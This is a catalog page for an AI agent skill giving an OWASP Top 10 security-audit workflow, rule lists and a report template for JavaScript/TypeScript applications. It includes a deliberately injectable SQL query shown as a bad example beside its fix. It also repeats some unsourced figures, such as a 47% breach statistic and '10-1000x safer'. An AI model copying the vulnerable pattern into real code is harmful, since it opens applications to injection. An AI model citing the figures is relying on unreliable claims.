
Accelint Security Best Practices
- 283 installs
- 21 repo stars
- Updated August 4, 2026
- gohypergiant/agent-skills
For development and infrastructure management.
About
accelint-security-best-practices is an AI coding tool that enhances development workflows. Builders use it for infrastructure, integration, and platform development within the catalog ecosystem.
- accelint-security-best-practices
- Development
Accelint Security Best Practices by the numbers
- 283 all-time installs (skills.sh)
- Ranked #1,381 of 4,347 Backend & APIs skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/gohypergiant/agent-skills --skill accelint-security-best-practicesAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 283 |
|---|---|
| repo stars | ★ 21 |
| Last updated | August 4, 2026 |
| Repository | gohypergiant/agent-skills ↗ |
What it does
For development and infrastructure management.
Files
Security Best Practices
Systematic security auditing and vulnerability detection for JavaScript/TypeScript applications. Combines audit workflow with OWASP Top 10 security patterns for production-ready code.
Framework-Agnostic Guidance: This skill provides security principles applicable across frameworks (Express, Fastify, Nest.js, Next.js, etc.). Code examples illustrate concepts using common patterns—adapt them to your project's specific framework and package manager (npm, yarn, pnpm, bun).
NEVER Do When Implementing Security
Note: For general best practices (type safety, code quality, documentation), use the respective accelint skills. This section focuses exclusively on security-specific anti-patterns.
- NEVER hardcode secrets - API keys, tokens, passwords, or credentials in source code are immediately compromised when pushed to version control. Even private repositories leak secrets through employee turnover, third-party access, and git history. In 2024 breach analysis, 47% of exposed credentials came from
.envfiles accidentally committed then 'deleted' (but preserved in git history). Attackers scan public GitHub commits within minutes of push. Use environment variables exclusively.
- NEVER trust user input - Validate with schemas (Zod, Joi) covering type, format, size, and content.
- NEVER concatenate user input into queries - Use parameterized queries, ORMs, or prepared statements exclusively. String concatenation in SQL, NoSQL, or shell commands enables injection attacks.
- NEVER store sensitive data in localStorage - localStorage is vulnerable to XSS attacks where malicious scripts steal tokens. JWT tokens, session IDs, or credentials in localStorage persist across sessions and are accessible to any JavaScript code. Use httpOnly cookies for auth tokens.
- NEVER skip authorization checks - Authentication verifies identity; authorization verifies permission. Attackers will manipulate IDs, skip authentication, or guess URLs. Every endpoint accessing resources must verify the requesting user owns that resource or has appropriate role.
- NEVER expose detailed errors to users - Log server-side, return generic messages. Stack traces leak architecture for reconnaissance.
- NEVER use Array.includes() for permission checks - Permission arrays with 100+ roles suffer O(n) lookup time and type safety issues. Use
Set.has()for O(1) lookup or role-based access control (RBAC) with proper type checking.
- NEVER skip rate limiting on APIs - Unlimited API requests enable brute force attacks (1000 password attempts/second), denial of service (exhaust server resources), or data scraping (enumerate all users/resources). Apply rate limits to all endpoints, with stricter limits on authentication and expensive operations.
- NEVER log sensitive data - Passwords, tokens, credit cards, or personal information in logs persist in log aggregation systems, backups, and third-party services. Logs are accessible to more people than the application itself. Redact sensitive fields before logging.
- NEVER use default configurations in production - Default secrets, disabled security headers, permissive CORS, or development modes in production create known vulnerabilities. Attackers scan for defaults. Harden all configurations for production environments.
Before Implementing Security, Ask
Apply these tests to ensure comprehensive security coverage:
Threat Assessment
- What's the attack surface? Identify all points where user input enters the system (forms, APIs, file uploads, URLs)
- What's the worst-case scenario? Consider data breaches, unauthorized access, service disruption, or financial loss
- Who are the attackers? Script kiddies exploit known vulnerabilities; sophisticated attackers chain multiple weaknesses
Compliance Verification
- Do I have authentication on all protected routes? Public APIs may be intentional, but verify each endpoint's access policy
- Are authorization checks before operations? Verify ownership/permissions before reading, writing, or deleting resources
- Is all user input validated? Check type, format, size, and content with schemas before processing
Defense in Depth
- Is there a single point of failure? Layer defenses so one bypass doesn't compromise entire system
- Are errors handled gracefully? Unhandled errors leak information; proper handling maintains security posture
- Is logging sufficient for audit trails? Security events (login attempts, access denials, suspicious patterns) must be logged for incident response
How to Use
This skill uses progressive disclosure to minimize context usage:
1. Start with the Workflow (SKILL.md)
Follow the 4-phase audit workflow below for systematic security analysis.
2. Reference Security Rules Overview (AGENTS.md)
Load AGENTS.md to scan compressed security rule summaries organized by category.
3. Load Specific Security Patterns as Needed
When you identify specific security issues, load corresponding reference files for detailed ❌/✅ examples.
4. Use the Report Template
When this skill is invoked, use the standardized report format:
Template: `assets/output-report-template.md`
Security Audit Workflow
Two modes of operation:
1. Audit Mode - Skill invoked directly (/accelint-security-best-practices <path>) or user explicitly requests security audit
- Generate a structured audit report using the template (Phases 1-2 only)
- Report findings for user review before implementation
- User decides which security fixes to apply
2. Implementation Mode - Skill triggers automatically during feature work
- Identify and apply security fixes directly (all 4 phases)
- No formal report needed
- Focus on fixing vulnerabilities inline
Copy this checklist to track progress:
- [ ] Phase 1: Discover - Identify security vulnerabilities through systematic code analysis
- [ ] Phase 2: Categorize - Classify issues by OWASP category and severity
- [ ] Phase 3: Remediate - Apply security patterns from references/
- [ ] Phase 4: Verify - Validate fixes and confirm vulnerability closurePhase 1: Discover Security Vulnerabilities
CRITICAL: Audit ALL code for security vulnerabilities. Do not skip code based on assumptions about exposure. Internal utilities, helpers, and data transformations are frequently exposed through APIs, file uploads, or user interactions even if their implementation appears isolated.
Perform systematic static code analysis to identify ALL security anti-patterns:
- Hardcoded secrets (API keys, passwords, tokens)
- Missing input validation (user data, file uploads, API responses)
- Injection vulnerabilities (SQL, NoSQL, Command, XSS)
- Broken access control (missing auth, no ownership checks, IDOR)
- Insecure authentication (tokens in localStorage, weak session management)
- Missing rate limiting (auth endpoints, expensive operations)
- Sensitive data exposure (logs, error messages, client responses)
- Security misconfiguration (default configs, missing headers, permissive CORS)
- Vulnerable dependencies (outdated packages, known CVEs)
- Missing CSRF protection (state-changing operations)
- SSRF vulnerabilities (unvalidated URL fetching)
Output: Complete list of ALL identified vulnerabilities with their locations, severity, and OWASP category. Do not filter based on "likelihood" - report everything found.
Phase 2: Categorize and Assess Risk
For EVERY vulnerability identified in Phase 1, categorize by OWASP category and severity:
Categorize ALL vulnerabilities by OWASP Top 10 category:
| OWASP Category | Common Issues | Severity Range |
|---|---|---|
| A01: Broken Access Control | Missing auth, no ownership checks, IDOR | Critical-High |
| A02: Cryptographic Failures | Hardcoded secrets, weak hashing, insecure storage | Critical-Medium |
| A03: Injection | SQL, NoSQL, Command, XSS vulnerabilities | Critical-High |
| A04: Insecure Design | Missing rate limiting, no input validation | High-Medium |
| A05: Security Misconfiguration | Default configs, missing headers, dev mode in prod | High-Low |
| A06: Vulnerable Components | Outdated dependencies, known CVEs | Critical-Low |
| A07: Auth Failures | Weak session management, no MFA, credential stuffing | Critical-High |
| A08: Data Integrity Failures | Missing CSRF, unsigned updates | High-Medium |
| A09: Logging Failures | No security logging, insufficient monitoring | Medium-Low |
| A10: SSRF | Unvalidated URL fetching, internal network access | High-Medium |
Severity Levels:
- Critical: Direct path to data breach, remote code execution, or complete system compromise
- Examples: SQL injection, hardcoded production secrets, no authentication on admin endpoints
- High: Likely to enable unauthorized access, data theft, or service disruption
- Examples: Missing authorization checks, XSS vulnerabilities, insecure session management
- Medium: Could be exploited with specific conditions or chained with other vulnerabilities
- Examples: Missing rate limiting, weak CORS policy, insufficient logging
- Low: Defense-in-depth improvements, best practices, or edge case protections
- Examples: Missing security headers, overly detailed error messages
Quick reference for mapping vulnerabilities:
Load references/quick-reference.md for detailed vulnerability-to-category mapping and anti-pattern detection.
Output: Categorized list of ALL vulnerabilities with their OWASP categories and severity levels. Do not filter or prioritize - list everything found in Phase 1.
Phase 3: Remediate Using Security Patterns
Step 1: Identify your vulnerability category from Phase 2 analysis.
Step 2: Load MANDATORY references for your category. Read each file completely with no range limits.
| Category | MANDATORY Files | Optional | Do NOT Load |
|---|---|---|---|
| Secrets Management | secrets-management.md | — | all others |
| Input Validation | input-validation.md | file-uploads.md (for file upload features) | secrets, auth |
| Injection Prevention | injection-prevention.md | — | input validation, XSS |
| Authentication | authentication.md | mfa.md (for multi-factor auth features) | authorization, secrets |
| Authorization | authorization.md | — | authentication |
| XSS Prevention | xss-prevention.md | — | injection, CSRF |
| CSRF Protection | csrf-protection.md | — | XSS, auth |
| Rate Limiting | rate-limiting.md | — | auth, injection |
| Sensitive Data | sensitive-data.md | — | secrets, logging |
| Dependency Security | dependency-security.md | — | all others |
| Security Headers | security-headers.md | — | XSS, CSRF |
| SSRF Prevention | ssrf-prevention.md | — | injection, input validation |
Notes:
- If vulnerability spans multiple categories, load references for all relevant categories
- Security patterns are cumulative - apply defense in depth by addressing all categories
- Load optional files when implementing specific features (file uploads, MFA, etc.)
---
Step 3: Scan for quick reference during remediation
Load AGENTS.md to see compressed security rule summaries organized by category. Use as a quick lookup while implementing patterns from the detailed reference files above.
Apply patterns systematically:
1. Load the reference file for the identified vulnerability category 2. Scan the ❌/✅ examples to find matching patterns 3. Apply the security fix ensuring defense in depth 4. Add comments explaining the security consideration and referencing the pattern
Example remediation:
// ❌ Before: SQL Injection vulnerability
const query = `SELECT * FROM users WHERE email = '${email}'`;
const user = await db.query(query);
// ✅ After: Parameterized query prevents injection
// Security: injection-prevention.md - parameterized queries
const user = await db.query(
'SELECT * FROM users WHERE email = $1',
[email]
);Phase 4: Verify Security Fixes
Validate vulnerability closure: 1. Review code to confirm vulnerability is fully addressed 2. Verify no new vulnerabilities introduced by the fix 3. Check defense in depth - are multiple layers protecting critical resources?
Security testing: 1. Run existing test suite - all tests must pass 2. Add security-specific tests for the vulnerability 3. Consider penetration testing for critical vulnerabilities
Document security fix:
// Security fix applied: 2026-02-01
// Vulnerability: SQL injection via email parameter (Critical)
// OWASP Category: A03 - Injection
// Pattern: injection-prevention.md - parameterized queries
// Verified: All tests pass, manual SQL injection attempts blockedDeciding whether to deploy the fix:
- Critical vulnerabilities: Deploy immediately with emergency process if needed
- High vulnerabilities: Deploy in next release cycle (days, not weeks)
- Medium vulnerabilities: Deploy with next scheduled release
- Low vulnerabilities: Deploy when convenient or batch with other security improvements
If tests fail: Fix the security implementation or find alternative solution. Security fixes should not break functionality.
Common Implementation Pitfalls
Security fixes sometimes conflict with existing functionality. Here are expert solutions for common scenarios:
| Issue | ❌ Wrong Approach | ✅ Correct Approach |
|---|---|---|
| Parameterized queries break dynamic column sorting | Add try-catch, fall back to concatenation | Use column name whitelist: const allowed = ['name', 'email', 'created_at']; if (!allowed.includes(column)) throw Error; then safely concatenate |
| Rate limiting breaks load tests | Disable rate limiting in test environment | Use separate rate limit config for tests based on environment detection |
| CSRF tokens break API integration tests | Skip CSRF validation in tests | Generate valid CSRF tokens in test setup using your CSRF library's token generation function |
| Input validation rejects legitimate edge cases | Loosen validation rules | Investigate the edge case - is it legitimate? If yes, update schema. If no, reject it. Real users shouldn't hit validation errors. |
| Authorization checks break admin impersonation | Skip auth checks for admin users | Implement proper impersonation: admin gets temporary token with target user's permissions, logged for audit |
| HTTPOnly cookies break mobile app auth | Store tokens in localStorage for mobile | Use secure token storage: iOS Keychain, Android Keystore, or platform-specific secure storage APIs |
When Security and Functionality Conflict
Priority order: 1. Never compromise on Critical vulnerabilities (SQL injection, hardcoded secrets, missing auth) - find alternative architecture 2. High vulnerabilities can have slight trade-offs if properly documented and compensated with other controls 3. Medium/Low vulnerabilities may be deferred if business justification is strong and risk is accepted
Documentation requirement for trade-offs:
// SECURITY TRADE-OFF DOCUMENTED: 2026-02-01
// Issue: Rate limiting breaks webhook ingestion from trusted partner
// Decision: Exempt partner IP range from rate limiting
// Compensating controls:
// - IP whitelist strictly maintained (only 2 partner IPs)
// - Separate monitoring for partner traffic
// - Manual review of partner traffic daily
// - 30-day review scheduled to implement alternative solution
// Risk accepted by: [Name], [Title]Freedom Calibration
Calibrate guidance specificity to vulnerability severity:
| Vulnerability Severity | Freedom Level | Guidance Format | Example |
|---|---|---|---|
| Critical (data breach, RCE) | Low freedom | Exact pattern from reference, no deviation | "Use parameterized query: db.query('SELECT * FROM users WHERE id = $1', [id])" |
| High (unauthorized access) | Medium freedom | Pattern with examples, verify coverage | "Implement RBAC or ownership checks before resource access" |
| Medium (defense in depth) | Medium freedom | Multiple valid approaches, pick based on architecture | "Use rate limiting with express-rate-limit or implement custom middleware" |
| Low (best practices) | High freedom | General guidance, implementation varies | "Consider adding security headers for defense in depth" |
The test: "What's the severity and blast radius?"
- Critical/High severity → Low freedom with exact patterns to prevent mistakes
- Medium severity → Medium freedom with validated approaches
- Low severity → High freedom with general best practices
Important Notes
- Audit everything philosophy - Audit ALL code for security vulnerabilities. Internal utilities, helpers, and data transformations are frequently exposed through APIs or user interactions even when they appear isolated. Do not make assumptions about security boundaries.
- Report all findings - Perform systematic static analysis to identify and report ALL vulnerabilities with their severity and OWASP category. Do not filter based on "likelihood" of exploitation.
- Reference files are authoritative - The patterns in references/ follow OWASP best practices. Follow them exactly unless security requirements dictate otherwise.
- Defense in depth - Layer security controls so single vulnerability doesn't compromise entire system. Authentication + authorization + input validation + rate limiting.
- Security testing - Security fixes require testing with malicious inputs and edge cases. Add tests for attack scenarios before deploying.
- Incident response - Security logging and monitoring enable detection and response to attacks. Log all security events with sufficient detail for investigation.
Quick Decision Tree
Use this table to rapidly identify which security category applies and appropriate severity.
Audit everything: Identify ALL security vulnerabilities in the code regardless of current exposure. Report all findings with severity and OWASP category.
| If You See... | Vulnerability Type | OWASP Category | Typical Severity |
|---|---|---|---|
| API key, password, or token in source code | Hardcoded secrets | A02: Cryptographic Failures | Critical |
| User input directly in SQL/NoSQL query | Injection vulnerability | A03: Injection | Critical |
No authenticate middleware on protected route | Missing authentication | A01: Broken Access Control | Critical |
| No ownership/permission check before resource access | Missing authorization | A01: Broken Access Control | High |
JWT token in localStorage.setItem() | Insecure token storage | A07: Auth Failures | High |
| User input without schema validation | Missing input validation | A04: Insecure Design | High |
No rate limiting on /api/login or /api/register | Missing rate limiting | A04: Insecure Design | High |
dangerouslySetInnerHTML without sanitization | XSS vulnerability | A03: Injection | High |
| State-changing operation without CSRF token | Missing CSRF protection | A08: Data Integrity Failures | High |
Password, token, or PII in console.log() | Sensitive data in logs | A09: Logging Failures | Medium |
| Stack trace or database error sent to user | Information leakage | A05: Security Misconfiguration | Medium |
npm audit shows vulnerabilities | Vulnerable dependencies | A06: Vulnerable Components | Critical-Low (varies) |
fetch(userProvidedUrl) without validation | SSRF vulnerability | A10: SSRF | High |
| No security headers (CSP, HSTS) | Missing security headers | A05: Security Misconfiguration | Medium |
| Sequential user IDs without ownership check | IDOR vulnerability | A01: Broken Access Control | High |
CORS: * in production | Permissive CORS | A05: Security Misconfiguration | Medium |
process.env.NODE_ENV !== 'production' check missing | Dev mode in production | A05: Security Misconfiguration | Medium-Low |
How to use this table: 1. Identify the pattern from code review 2. Find matching row in "If You See..." column 3. Note the OWASP Category and Typical Severity 4. Jump to corresponding Security Category in Phase 3 5. Load MANDATORY reference files for that category
Security Best Practices
Abstract
Comprehensive security guide for JavaScript and TypeScript applications following OWASP Top 10, designed for AI agents and LLMs. Each rule includes one-line summaries here, with links to detailed examples in the references/ folder. Load reference files only when you need detailed implementation guidance for a specific rule.
---
How to Use This Guide
1. Start here: Scan the rule summaries to identify relevant security patterns 2. Load references as needed: Click through to detailed examples only when implementing 3. Progressive loading: Each reference file is self-contained with ❌/✅ examples
This structure minimizes context usage while providing complete security guidance when needed.
---
Critical Security Anti-Patterns
NEVER do these - they appear in codebases frequently but create severe vulnerabilities:
- NEVER hardcode secrets - API keys, passwords, tokens in source code are immediately compromised via version control; use environment variables exclusively
- NEVER concatenate user input into queries - creates SQL/NoSQL injection; use parameterized queries and ORMs (10-1000x safer)
- NEVER store tokens in localStorage - vulnerable to XSS attacks; use httpOnly cookies for authentication tokens
- NEVER skip authorization checks - authentication verifies identity, authorization verifies permission; check both on every protected operation
- NEVER trust user input - all input from users, APIs, files is potentially malicious; validate type, format, size with schemas (Zod, Joi)
- NEVER expose detailed errors to users - stack traces and database errors leak architecture; log server-side, return generic messages
- NEVER skip rate limiting - enables brute force (1000 password attempts/sec), DoS, data scraping; apply to all endpoints
- NEVER log sensitive data - passwords, tokens, PII in logs persist in aggregation systems accessible to many; redact before logging
- NEVER use default configurations in production - default secrets, disabled security headers, permissive CORS create known vulnerabilities
- NEVER use Array.includes() for permission checks - O(n) lookup and type safety issues; use Set.has() (O(1)) or proper RBAC
See individual reference files for detailed alternatives and ✅ correct patterns.
---
Security Categories (OWASP Top 10)
Before implementing security: Identify attack surface and worst-case scenarios. Layer defenses so single vulnerability doesn't compromise entire system.
Defense in depth: authentication + authorization + input validation + rate limiting + logging
---
1. Secrets Management (OWASP A02)
Never hardcode secrets; use environment variables; validate secrets exist at startup; rotate secrets regularly; use secret management services. View detailed examples
---
2. Input Validation (OWASP A04)
Validate all user input with schemas (Zod, Joi); whitelist validation (not blacklist); check type, format, size, content; sanitize before processing. View detailed examples
2.1 File Upload Validation
Validate file size, type (MIME type), extension; store outside webroot; use CDN/object storage; scan for malware; generate unique filenames. View detailed examples
---
3. Injection Prevention (OWASP A03)
Use parameterized queries for SQL; type-check NoSQL inputs; use execFile (not exec) for commands; validate and sanitize all dynamic content. View detailed examples
---
4. Authentication (OWASP A07)
Store tokens in httpOnly cookies (not localStorage); use bcrypt with cost ≥12 for passwords; implement secure session management; short-lived access tokens with refresh tokens. View detailed examples
4.1 Multi-Factor Authentication
Implement TOTP (time-based one-time passwords); verify MFA on sensitive operations; provide backup codes; secure QR code generation. View detailed examples
---
5. Authorization (OWASP A01)
Check ownership/permissions before every operation; implement RBAC (role-based access control); prevent IDOR (insecure direct object reference); use UUIDs instead of sequential IDs. View detailed examples
---
6. XSS Prevention (OWASP A03)
React auto-escapes by default (safe); sanitize HTML with DOMPurify if using dangerouslySetInnerHTML; implement Content Security Policy (CSP); avoid inline scripts. View detailed examples
---
7. CSRF Protection (OWASP A08)
Use CSRF tokens on state-changing operations; set SameSite=Strict on cookies; implement double-submit cookie pattern; verify origin headers. View detailed examples
---
8. Rate Limiting (OWASP A04)
Apply rate limits to all API endpoints; stricter limits on authentication (5/hour) and expensive operations (10/min); IP-based and user-based limiting; return 429 status code. View detailed examples
---
9. Sensitive Data Protection (OWASP A09)
Never log passwords, tokens, credit cards, or PII; redact sensitive fields before logging; return generic error messages to users; log detailed errors server-side only. View detailed examples
---
10. Dependency Security (OWASP A06)
Run npm audit regularly; update dependencies with npm update; use exact versions or controlled ranges; enable Dependabot; monitor for CVEs; use npm ci in CI/CD. View detailed examples
---
11. Security Headers (OWASP A05)
Use helmet.js for security headers; implement CSP (Content Security Policy); enable HSTS (HTTP Strict Transport Security); set X-Frame-Options, X-Content-Type-Options; disable X-Powered-By. View detailed examples
---
12. SSRF Prevention (OWASP A10)
Validate URLs against allowlist; block private IPs (localhost, 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16); prevent redirect chains; use URL parsing to extract hostname. View detailed examples
---
Quick Reference for Vulnerability Mapping
For systematic vulnerability identification and categorization, load references/quick-reference.md which provides:
- Vulnerability symptom → OWASP category mapping
- Code pattern → Security risk lookup
- Anti-pattern detection with concrete code examples
- Decision matrix for severity assessment
---
Severity Impact Summary
| Severity | Impact | When to Fix | Examples |
|---|---|---|---|
| Critical | Data breach, RCE, complete compromise | Immediately (emergency deploy) | SQL injection, hardcoded production secrets, no auth on admin endpoints |
| High | Unauthorized access, data theft, service disruption | Next release (days) | Missing authorization, XSS, insecure session management |
| Medium | Exploitable with conditions or when chained | Scheduled release | Missing rate limiting, weak CORS, insufficient logging |
| Low | Defense-in-depth, best practices | When convenient | Missing security headers, detailed error messages |
Priority order: Fix Critical vulnerabilities first (emergency), then High (planned), then Medium/Low (scheduled).
---
Important Notes
- Audit everything philosophy - Audit ALL code for security vulnerabilities. Internal utilities and helpers are frequently exposed through APIs or user interactions.
- Defense in depth - Layer security controls so single vulnerability doesn't compromise entire system. Never rely on single protection.
- Fail securely - When validation fails, deny access. Default to most secure option when uncertain.
- Principle of least privilege - Grant minimum permissions necessary. Verify every operation.
- Security testing - Test with malicious inputs and edge cases. Add tests for attack scenarios.
- Incident response - Log security events with sufficient detail for investigation and response.
╭──────────────────────────────────╮ │ accelint-security-best-practices │ ╰──────────────────────────────────╯
<!-- Make sure to display this warning block to the user --> ┌──────────────────────────────────────────────────────┐ │ ⚠️ WARNING: Security is highly context-dependent. │ │ This skill provides general security guidance but │ │ cannot know your application's threat model, risk │ │ tolerance, or deployment context. Please evaluate │ │ each finding against your specific security │ │ requirements. Not all identified issues may be │ │ relevant or critical for your use case. │ └──────────────────────────────────────────────────────┘
Report: [Target Name]
<!-- INSTRUCTIONS FOR COMPLETING THIS TEMPLATE:
1. Replace [Target Name] with the specific file/module being audited (e.g., "Authentication API", "User Management Service")
2. EXECUTIVE SUMMARY: Provide a high-level overview
- Summarize what was audited and the workflow used
- Count vulnerabilities by severity (e.g., "2 Critical, 5 High, 3 Medium")
- Include Risk Assessment explaining WHY security matters for this specific code
3. PHASE 1 - ISSUE GROUPING RULES:
- Group vulnerabilities when they share the SAME root cause AND same fix pattern
- Example: Multiple endpoints missing authentication → group together
- Example: Different types of injection vulnerabilities → separate issues
- Use subsections (4-8) for grouped issues, individual numbers (1, 2, 3) for unique issues
4. PHASE 1 - EACH VULNERABILITY/GROUP MUST INCLUDE:
- Location (file:line or file:line-range)
- Current code with ❌ marker
- Clear explanation of the vulnerability
- Severity (Critical, High, Medium, Low)
- OWASP Category (A01-A10)
- Pattern Reference (which references/*.md file)
- Recommended Fix with ✅ marker
5. SEVERITY LEVELS:
- Critical: Data breach, RCE, complete system compromise (SQL injection, hardcoded production secrets, no auth on admin endpoints)
- High: Unauthorized access, data theft, service disruption (missing authorization, XSS, insecure session management)
- Medium: Exploitable with conditions or when chained (missing rate limiting, weak CORS, insufficient logging)
- Low: Defense-in-depth improvements, best practices (missing security headers, detailed error messages)
6. PHASE 2: Generate summary table from Phase 1 findings
- Include all vulnerabilities with their numbers
- Keep it concise - one row per vulnerability/group
-->
Executive Summary
Completed systematic security audit of [file/module path] following accelint-security-best-practices workflow. Identified [N] security vulnerabilities across [N] OWASP categories. [Brief description of what this code does and why security matters].
Key Findings:
- Critical: [N] vulnerabilities (immediate data breach/RCE risk)
- High: [N] vulnerabilities (likely unauthorized access/data theft)
- Medium: [N] vulnerabilities (exploitable with conditions)
- Low: [N] vulnerabilities (defense-in-depth improvements)
Risk Assessment: [Explain WHY these vulnerabilities matter for this specific code. Consider:]
- What sensitive data does this code handle? (user credentials, PII, payment info, etc.)
- What operations can attackers perform if exploited? (data access, privilege escalation, service disruption)
- What is the blast radius? (single user, all users, entire system)
- What compliance requirements apply? (GDPR, PCI-DSS, HIPAA, SOC2)
---
Phase 1: Identified Vulnerabilities
1. [Function/Location] - [Vulnerability Type]
Location: [file:line] or [file:line-range]
// ❌ Current: [Brief description of vulnerability]
[code snippet showing the vulnerability]Vulnerability:
- [Point 1 explaining the security issue]
- [Point 2 with attack scenario or exploit method]
- [Point 3 quantifying the impact - data exposed, users affected, etc.]
Severity: [Critical|High|Medium|Low] OWASP Category: [A01-A10: Category Name] Pattern Reference: [filename.md]
Recommended Fix:
// ✅ [Brief description of secure solution]
[code snippet showing the fix]---
2. [Function/Location] - [Vulnerability Type]
Location: [file:line] or [file:line-range]
// ❌ Current: [Brief description of vulnerability]
[code snippet]Vulnerability:
- [Explanation]
Severity: [Critical|High|Medium|Low] OWASP Category: [A01-A10: Category Name] Pattern Reference: [filename.md]
Recommended Fix:
// ✅ [Brief description of secure solution]
[code snippet]---
3-N. [Grouped Vulnerabilities] - [Shared Vulnerability Type] ([N] instances)
<!-- Use this format when multiple vulnerabilities share the same root cause and fix pattern -->
Locations:
[file:line]- [endpoint/function/context][file:line]- [endpoint/function/context][file:line]- [endpoint/function/context]
Example from [specific location]:
// ❌ Current: [Brief description of vulnerability]
[representative code snippet]Vulnerability:
- [Shared root cause explanation]
- [Why this pattern is insecure]
- [Attack scenario and impact across all instances]
Severity: [Critical|High|Medium|Low] OWASP Category: [A01-A10: Category Name] Pattern Reference: [filename.md]
Recommended Fix:
// ✅ [Brief description of secure solution]
[fixed code snippet]Same pattern applies to all [N] instances:
// [Location/endpoint 2]
// ❌ Current
[code snippet]
// ✅ Secure
[fixed snippet]
// [Location/endpoint 3]
// ❌ Current
[code snippet]
// ✅ Secure
[fixed snippet]---
Phase 2: Categorized Vulnerabilities
| # | Location | Vulnerability | OWASP Category | Severity |
|---|---|---|---|---|
| 1 | [file:line] | [Brief vulnerability description] | [A0X: Category] | [Severity] |
| 2 | [file:line] | [Brief vulnerability description] | [A0X: Category] | [Severity] |
| 3 | [file:line] | [Brief vulnerability description] | [A0X: Category] | [Severity] |
| 4-N | [multiple] | [Brief vulnerability description] | [A0X: Category] | [Severity] |
Total Vulnerabilities: [N]
By Severity:
- Critical: [N] (fix immediately)
- High: [N] (fix in next release)
- Medium: [N] (fix in scheduled release)
- Low: [N] (fix when convenient)
By OWASP Category:
- A01 Broken Access Control: [N]
- A02 Cryptographic Failures: [N]
- A03 Injection: [N]
- A04 Insecure Design: [N]
- A05 Security Misconfiguration: [N]
- A06 Vulnerable Components: [N]
- A07 Auth Failures: [N]
- A08 Data Integrity Failures: [N]
- A09 Logging Failures: [N]
- A10 SSRF: [N]
---
Remediation Priority
Immediate Action Required (Critical)
[List Critical severity vulnerabilities - deploy fixes immediately]
High Priority (Next Release)
[List High severity vulnerabilities - deploy within days]
Medium Priority (Scheduled Release)
[List Medium severity vulnerabilities - deploy in next scheduled release]
Low Priority (Defense in Depth)
[List Low severity vulnerabilities - deploy when convenient or batch together]
---
Testing Recommendations
After implementing fixes, perform the following security tests:
Authentication & Authorization
- [ ] Test authentication bypass attempts
- [ ] Test privilege escalation scenarios
- [ ] Verify ownership checks on all protected resources
- [ ] Test JWT token validation and expiration
- [ ] Test session management and logout
Input Validation
- [ ] Test with malformed inputs (wrong types, oversized data)
- [ ] Test with malicious payloads (SQL injection, XSS, command injection)
- [ ] Test boundary conditions (min/max values, empty strings, null)
- [ ] Test with Unicode, special characters, encoded data
Injection Prevention
- [ ] Test SQL injection attempts on all database queries
- [ ] Test NoSQL injection with object payloads
- [ ] Test XSS with script tags, event handlers, encoded scripts
- [ ] Test command injection with shell metacharacters
Rate Limiting
- [ ] Test brute force protection on authentication endpoints
- [ ] Verify rate limits trigger correctly
- [ ] Test rate limit bypass attempts
Sensitive Data
- [ ] Review all logs for sensitive data (passwords, tokens, PII)
- [ ] Verify error messages are generic to users
- [ ] Test that stack traces are not exposed in production
Security Headers
- [ ] Verify CSP is configured and blocks inline scripts
- [ ] Verify HSTS is enabled with appropriate max-age
- [ ] Check all security headers with securityheaders.com
---
Compliance Notes
[Add any compliance-specific notes based on the application's requirements]
GDPR
- [ ] All PII handled according to data protection requirements
- [ ] Logging complies with data minimization principles
- [ ] Data breach notification procedures in place
PCI-DSS (if handling payment data)
- [ ] No credit card numbers in logs
- [ ] Encryption in transit and at rest
- [ ] Access controls on payment endpoints
HIPAA (if handling health data)
- [ ] PHI properly encrypted
- [ ] Audit logging for all PHI access
- [ ] Access controls enforced
SOC2
- [ ] Security logging sufficient for audit trails
- [ ] Access controls documented and enforced
- [ ] Incident response procedures in place
Security Best Practices
Systematic security auditing and vulnerability detection for JavaScript/TypeScript applications. Combines audit workflow with OWASP Top 10 security patterns for production-ready code.
Framework-Agnostic: This skill provides security principles applicable across frameworks (Express, Fastify, Nest.js, Next.js, etc.), package managers (npm, yarn, pnpm, bun), and libraries. Code examples illustrate concepts—adapt them to your project's specific stack.
Overview
This skill provides:
- 4-phase workflow (Discover → Categorize → Remediate → Verify) for systematic security auditing
- OWASP Top 10 security patterns with ❌/✅ examples for all vulnerability categories
- Severity classification and risk assessment frameworks
- Defense-in-depth strategies for layered security
When to Use
Use this skill when:
- Auditing code for security vulnerabilities
- Implementing authentication or authorization
- Adding API endpoints, file uploads, or user input handling
- Working with secrets, credentials, or sensitive data
- Conducting pre-deployment security checks
- Users say "audit security", "check for vulnerabilities", "security review", "secure this code"
Structure
accelint-security-best-practices/
├── SKILL.md # 4-phase workflow + guidance
├── AGENTS.md # Compressed security rules overview
├── README.md # This file
├── references/
│ ├── quick-reference.md # Vulnerability → category mapping
│ ├── secrets-management.md # Environment variables, no hardcoding
│ ├── input-validation.md # Zod schemas, type checking
│ ├── file-uploads.md # Size, type, extension validation
│ ├── injection-prevention.md # SQL, NoSQL, Command, XSS
│ ├── authentication.md # JWT, sessions, cookies
│ ├── mfa.md # Multi-factor authentication
│ ├── authorization.md # RBAC, ownership checks, IDOR
│ ├── xss-prevention.md # Sanitization, CSP
│ ├── csrf-protection.md # Tokens, SameSite cookies
│ ├── rate-limiting.md # API protection, brute force
│ ├── sensitive-data.md # Logging, error messages
│ ├── dependency-security.md # npm audit, updates
│ ├── security-headers.md # CSP, HSTS, helmet
│ └── ssrf-prevention.md # URL validation, allowlists
└── assets/
└── output-report-template.mdProgressive Disclosure
This skill minimizes context usage through progressive loading:
1. Start with SKILL.md - Follow the 4-phase workflow 2. Load AGENTS.md - Scan compressed security rule summaries 3. Load specific references - Detailed ❌/✅ examples when implementing
OWASP Top 10 Coverage
| OWASP Category | Description | Reference Files |
|---|---|---|
| A01: Broken Access Control | Missing auth/authorization, IDOR | authorization.md, authentication.md |
| A02: Cryptographic Failures | Hardcoded secrets, weak hashing | secrets-management.md, authentication.md |
| A03: Injection | SQL, NoSQL, Command, XSS | injection-prevention.md, xss-prevention.md |
| A04: Insecure Design | Missing validation, no rate limiting | input-validation.md, rate-limiting.md |
| A05: Security Misconfiguration | Defaults, missing headers | security-headers.md |
| A06: Vulnerable Components | Outdated dependencies | dependency-security.md |
| A07: Auth Failures | Weak sessions, no MFA | authentication.md, mfa.md |
| A08: Data Integrity Failures | Missing CSRF protection | csrf-protection.md |
| A09: Logging Failures | No security logging | sensitive-data.md |
| A10: SSRF | Unvalidated URL fetching | ssrf-prevention.md |
